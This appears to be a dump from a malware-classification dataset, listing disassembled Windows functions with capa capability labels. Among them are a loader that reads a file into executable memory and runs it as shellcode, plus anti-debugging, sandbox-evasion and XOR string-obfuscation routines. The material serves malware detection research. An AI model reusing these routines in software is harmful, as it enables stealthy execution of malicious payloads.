joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140955058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409551df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140955089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14095506f
add dl, dl
jne 0x140955096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409550f6
xor eax, eax
add dl, dl
jne 0x1409550a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409551ad
add dl, dl
jne 0x1409550b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409550c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409550d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409550dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409550ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14095507e
mov eax, 1
add dl, dl
jne 0x140955106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140955113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409550fb
sub eax, ebx
mov ebx, 1
jne 0x14095514c
mov ecx, 1
add dl, dl
jne 0x14095512e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14095513b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140955123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095507e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140955168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140955175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14095515d
cmp eax, 0x7d00
jae 0x14095519b
cmp eax, 0x500
jb 0x140955196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095507e
cmp eax, 0x7f
ja 0x14095519e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14095507e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409551d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14095507e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Read file on windows
Set current directory

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x160
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x50], 0
call fcn.1800011b0
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov edx, 0x100000
mov r8d, 0x1000
mov dword [rsp + 0x170], 0x100000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdx, [rsp + 0x50]
mov r8d, 0x104
xor ecx, ecx
mov byte [rsp + 0x40], 0x6c
mov rdi, rax
mov byte [rsp + 0x41], 0x69
mov byte [rsp + 0x42], 0x62
mov byte [rsp + 0x43], 0x76
mov byte [rsp + 0x44], 0x6c
mov byte [rsp + 0x45], 0x63
mov byte [rsp + 0x46], 0x2e
mov byte [rsp + 0x47], 0x72
mov byte [rsp + 0x48], 0x74
mov byte [rsp + 0x49], 0x66
mov byte [rsp + 0x4a], 0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x1800010ba
nop dword [rax]
cmp byte [rsp + rcx + 0x50], 0x5c
je 0x1800010b3
dec rcx
dec eax
test rcx, rcx
jg 0x1800010a0
jmp 0x1800010ba
cdqe
mov byte [rsp + rax + 0x51], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x50]
lea rdx, str._s_s
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x50]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r8d, dword [rsp + 0x170]
lea r9, [rsp + 0x170]
mov rdx, rdi
mov rcx, rax
mov rbx, rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call rdi
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret
Function at 0x1400110ff
Capabilities:
Get system information on windows

Disassembly:
jmp 0x140012590
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x140025156]
call fcn.1400113c5
nop
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
movzx eax, word [rbp + 8]
cmp eax, 9
jne 0x1400125ea
mov eax, 0x40
jmp 0x1400125fb
movzx eax, word [rbp + 8]
test eax, eax
jne 0x1400125f9
mov eax, 0x20
jmp 0x1400125fb
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001c140]
call fcn.14001134d
mov rax, rdi
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret
Function at 0x140011136
Capabilities:
Get file size
Read file on windows

Disassembly:
jmp 0x140011990
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
lea rcx, [0x140025062]
call fcn.1400113c5
nop
cmp qword [rbp + 0x180], 0
je 0x1400119f1
cmp qword [rbp + 0x188], 0
je 0x1400119f1
cmp qword [rbp + 0x190], 0
jne 0x1400119f8
xor eax, eax
jmp 0x140011b7f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140011a3b
xor eax, eax
jmp 0x140011b7f
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x140011a5f
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
jmp 0x140011b7f
cmp dword [rbp + 0x2c], 0
jle 0x140011a77
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
jmp 0x140011b7f
mov eax, dword [rbp + 0x28]
mov qword [rbp + 0x158], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x158]
mov r8, rcx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbp + 0x188]
mov qword [rcx], rax
mov rax, qword [rbp + 0x188]
cmp qword [rax], 0
jne 0x140011ac8
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
jmp 0x140011b7f
mov rax, qword [rbp + 0x188]
mov rax, qword [rax]
mov qword [rbp + 0x48], rax
mov eax, dword [rbp + 0x28]
mov dword [rbp + 0x64], eax
mov dword [rbp + 0x84], 0
cmp dword [rbp + 0x64], 0
jbe 0x140011b63
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x84]
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140011b3d
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x188]
mov r8, qword [rcx]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
xor eax, eax
jmp 0x140011b7f
mov eax, dword [rbp + 0x84]
mov ecx, dword [rbp + 0x64]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x84]
mov rcx, qword [rbp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
jmp 0x140011ae6
mov rax, qword [rbp + 0x190]
mov ecx, dword [rbp + 0x28]
mov dword [rax], ecx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001acc0]
call fcn.14001134d
mov rax, rdi
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140011226
Capabilities:
Terminate process

Disassembly:
jmp 0x140016330
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400112ad
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014830
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014850
xor al, al
jmp 0x1400148d1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014863
xor al, al
jmp 0x1400148d1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001488d
xor al, al
jmp 0x1400148d1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400148a1
xor al, al
jmp 0x1400148d1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400148b3
xor al, al
jmp 0x1400148d1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400148cf
xor al, al
jmp 0x1400148d1
mov al, 1
add rsp, 0x38
ret
Function at 0x14001139d
Capabilities:
Parse pe header

Disassembly:
jmp 0x140011870
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140025062]
call fcn.1400113c5
nop
mov rax, qword [rbp + 0x120]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400118c1
lea rcx, str.Invalid_DOS_header_n
call fcn.140011032
nop
xor eax, eax
jmp 0x140011945
mov rax, qword [rbp + 8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x120]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x120]
cmp qword [rbp + 0x28], rax
jae 0x1400118f8
lea rcx, str.Invalid_NT_header_n
call fcn.140011032
nop
xor eax, eax
jmp 0x140011945
mov eax, dword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
lea rax, [rcx + rax - 0x108]
cmp qword [rbp + 0x28], rax
jbe 0x140011924
lea rcx, str.Invalid_NT_header_n
call fcn.140011032
nop
xor eax, eax
jmp 0x140011945
mov rax, qword [rbp + 0x28]
cmp dword [rax], 0x4550
je 0x140011941
lea rcx, str.Invalid_NT_header_n
call fcn.140011032
nop
xor eax, eax
jmp 0x140011945
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140012c30
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113f7
movzx eax, al
test eax, eax
jne 0x140012c50
mov ecx, 7
call fcn.140011357
nop
mov byte [rsp + 0x20], 0
call fcn.140011370
mov byte [rsp + 0x21], al
cmp dword [0x14001f1f8], 1
jne 0x140012c74
mov ecx, 7
call fcn.140011357
nop
jmp 0x140012ccc
cmp dword [0x14001f1f8], 0
jne 0x140012cc7
mov dword [0x14001f1f8], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111b8
test eax, eax
je 0x140012ca8
mov eax, 0xff
jmp 0x140012dd1
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011366
mov dword [0x14001f1f8], 2
jmp 0x140012ccc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011343
call fcn.1400112d5
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012d29
mov rcx, qword [rsp + 0x30]
call fcn.140011172
movzx eax, al
test eax, eax
je 0x140012d29
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140026020]
nop
call fcn.140011307
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140012d5d
mov rcx, qword [rsp + 0x38]
call fcn.140011172
movzx eax, al
test eax, eax
je 0x140012d5d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400113ac
nop
call fcn.140012e80
mov dword [rsp + 0x28], eax
call fcn.1400112ad
movzx eax, al
test eax, eax
jne 0x140012d7c
mov ecx, dword [rsp + 0x28]
call fcn.14001105f
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140012d8b
call fcn.1400113b6
nop
xor edx, edx
mov cl, 1
call fcn.140011163
mov eax, dword [rsp + 0x28]
jmp 0x140012dd1
add rsp, 0x68
ret
Function at 0x140002630
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 0x13b8
call fcn.140016830
sub rsp, rax
call fcn.140005098
or dword [rsp + 0x13a4], 0xffffffff
mov edx, 1
mov dword [rsp + 0x24], eax
mov r8d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x24], eax
inc rdx
cmp rdx, r8
jb 0x140002659
lea rax, [rsp + 0x20]
mov dword [rsp + 0x20], r8d
lea rcx, [rsp + 0x13c0]
mov qword [rsp + 0x13c0], rax
call fcn.140004f08
shr eax, 0x18
add rsp, 0x13b8
ret
Function at 0x140003174
Capabilities:
Enumerate files on windows
Get memory capacity

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x100]
sub rsp, 0x200
call fcn.14000ab34
mov ecx, eax
mov eax, 0x10624dd3
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3e8
sub ecx, eax
add ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x1400033b8
mov qword [rbp + 0x110], 8
lea rcx, [rbp + 0x110]
call qword [sym.imp.USER32.dll_GetLastInputInfo]
test eax, eax
je 0x1400031fc
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbp + 0x114]
cmp eax, 0xea60
ja 0x1400033b8
mov dword [rbp - 0x80], 0x40
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rbp - 0x78], 0xffffffff80000000
jb 0x1400033b8
lea rcx, [rbp + 0x118]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x140003242
cmp dword [rbp + 0x118], 0
jne 0x140003242
cmp dword [rbp + 0x11c], 0
je 0x1400033b8
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x140020d80]
movdqu xmmword [rsp + 0x30], xmm1
movsd xmm0, qword [str.C:Users.]
movsd qword [rsp + 0x20], xmm0
mov eax, dword [0x140020cc8]
mov dword [rsp + 0x28], eax
mov byte [rsp + 0x2c], 0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.1400026a0
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.14000492c
cmp qword [rax + 0x18], 0xf
jbe 0x14000329c
mov rax, qword [rax]
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
mov ebx, 0x1000
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400032ea
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, rbx
jb 0x1400032e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400033d5
call fcn.1400054e8
movdqa xmm0, xmmword [0x140020d20]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000333e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rbx
jb 0x140003331
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400033db
call fcn.1400054e8
movdqa xmm0, xmmword [0x140020d20]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14000337e
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, rbx
jb 0x140003379
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400033cf
call fcn.1400054e8
cmp rdi, 0xffffffffffffffff
je 0x1400033b4
xor ebx, ebx
test byte [rbp - 0x40], 0x10
lea eax, [rbx + 1]
cmovne eax, ebx
mov ebx, eax
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140003386
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp ebx, 0xa
setl al
jmp 0x1400033ba
xor al, al
jmp 0x1400033ba
mov al, 1
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14000b0b4
nop
call fcn.14000b0b4
nop
call fcn.14000b0b4
int3
Function at 0x140004748
Capabilities:
Check for debugger via api

Disassembly:
sub rsp, 0x28
call fcn.140002838
test al, al
jne 0x14000479e
call fcn.140003174
test al, al
jne 0x14000479e
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x1400047a9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0x30], 0
jne 0x1400047a9
call fcn.1400033e4
call fcn.140003844
call fcn.140004488
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call fcn.14000ab28
int3
mov ecx, 1
call fcn.14000ab28
int3

Function at 0x14000492c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov r15b, byte [0x140025ec0]
xor edi, edi
xorps xmm0, xmm0
mov rbx, rcx
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rdi
mov r14, rdx
mov qword [rcx + 0x18], rdi
cmp qword [rdx + 0x18], 0xf
jbe 0x14000496b
mov r14, qword [rdx]
mov rbp, qword [rdx + 0x10]
movabs rsi, 0x7fffffffffffffff
cmp rbp, rsi
ja 0x140004a95
cmp rbp, 0xf
ja 0x1400049a1
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], 0xf
movups xmm0, xmmword [r14]
movdqu xmmword [rcx], xmm0
jmp 0x140004a2c
mov rax, rbp
or rax, 0xf
cmp rax, rsi
jbe 0x1400049da
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000526c
test rax, rax
je 0x140004a89
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140004a12
mov ecx, 0x16
mov rsi, rax
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
test rcx, rcx
je 0x140004a12
cmp rcx, 0x1000
jb 0x140004a0a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004a8f
jmp 0x1400049bb
call fcn.14000526c
mov rdi, rax
lea r8, [rbp + 1]
mov qword [rbx], rdi
mov rdx, r14
mov qword [rbx + 0x10], rbp
mov rcx, rdi
mov qword [rbx + 0x18], rsi
call fcn.140016f30
cmp qword [rbx + 0x18], 0xf
jbe 0x140004a3b
mov rdx, qword [rbx]
mov rcx, rdx
jmp 0x140004a41
mov rcx, rbx
mov rdx, rbx
mov r8, qword [rbx + 0x10]
add r8, rcx
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140004a55
mov rcx, qword [rbx]
cmp rcx, r8
je 0x140004a6d
sub rdx, rcx
mov al, r15b
xor al, byte [rcx]
mov byte [rcx + rdx], al
inc rcx
cmp rcx, r8
jne 0x140004a5d
mov rbp, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
call fcn.14000b0b4
int3
call fcn.140002500
int3
call fcn.140002598
int3
Function at 0x140004f08
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov r9, qword [rcx]
mov ebx, 0x270
mov ecx, dword [r9]
cmp ecx, ebx
jne 0x140004f73
lea r8, [r9 + 8]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
and edx, r10d
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub rbx, 1
jne 0x140004f36
mov ecx, dword [r9]
jmp 0x140005049
cmp ecx, 0x4e0
jb 0x140005049
lea rbx, [r9 + 0x9c4]
mov esi, 0xe3
mov edi, dword [rbx]
mov r10d, 0x7fffffff
mov r11d, 0x9908b0df
mov eax, edi
mov r8, rbx
mov edx, eax
add rbx, 4
mov edi, dword [rbx]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rsi, 1
jne 0x140004f99
lea rbx, [r9 + 0xd50]
mov esi, 0x18c
mov edi, dword [rbx]
mov eax, edi
mov r8, rbx
mov edx, eax
add rbx, 4
mov edi, dword [rbx]
xor edx, edi
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rsi, 1
jne 0x140004fde
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
and edx, r10d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, r11d
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
ret

Function at 0x140005bec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005c36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005c36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005c36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005c36
cmp dword [rcx + 0x84], 0xe
jbe 0x140005c36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005c38
xor al, al
add rsp, 0x28
ret
Function at 0x14000a924
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000a993
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a993
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a993
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a993
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a993
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a993
cmp dword [rcx + 0xf8], 0
je 0x14000a993
mov ecx, ebx
call fcn.14000aa44
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000a820
nop
cmp dword [rbp + 0x20], 0
je 0x14000a9e1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000a9ec
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000a924

Function at 0x14000ab28
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000a993
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a993
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a993
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a993
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a993
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a993
cmp dword [rcx + 0xf8], 0
je 0x14000a993
mov ecx, ebx
call fcn.14000aa44
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000a820
nop
cmp dword [rbp + 0x20], 0
je 0x14000a9e1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
